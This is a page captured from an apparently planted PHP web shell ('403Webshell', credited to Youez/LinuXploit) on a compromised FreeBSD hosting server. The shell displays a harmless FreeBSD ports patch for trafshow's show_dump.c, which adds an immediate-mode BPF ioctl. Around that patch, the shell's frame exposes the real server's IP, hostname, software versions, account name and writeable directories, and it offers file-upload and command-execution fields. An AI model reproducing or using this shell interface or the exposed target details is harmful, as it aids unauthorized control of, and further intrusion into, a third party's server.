403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/net/trafshow/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/net/trafshow/files/patch-show_dump.c
--- show_dump.c.orig	Wed Apr 12 00:16:51 2006
+++ show_dump.c	Wed Apr 12 00:18:21 2006
@@ -21,6 +21,7 @@
 #include <sys/param.h>
 #include <sys/types.h>
 #include <sys/socket.h>
+#include <sys/ioctl.h>
 #include <sys/time.h>
 #include <netinet/in.h>
 #include <arpa/inet.h>
@@ -118,6 +119,7 @@
         bpf_u_int32 net;
         bpf_u_int32 mask;
 	char name[100], buf[256];
+	int v = 1;
 
 	/* sanity check */
 	if (!ph || !ns) return -1;
@@ -139,13 +141,16 @@
 		if (buf[0] != '\0')
 			screen_status("%s: %s", ph->name, buf);
 		if (!live_pcap) return -1;
-#ifdef	notdef
 		if (pcap_setnonblock(live_pcap, 1, buf) < 0) {
 			screen_status("%s: %s", ph->name, buf);
 			show_dump_close();
 			return -1;
 		}
-#endif
+		if (ioctl(pcap_fileno(live_pcap), BIOCIMMEDIATE, &v) < 0) {
+			screen_status("%s: %s", ph->name, strerror(errno));
+			show_dump_close();
+			return -1;
+		}
 		/* setup filter expression */
 		if (pcap_lookupnet(strcpy(name, ph->name), &net, &mask, buf) < 0) {
 			/* ignore error */

Youez - 2016 - github.com/yon3zu
LinuXploit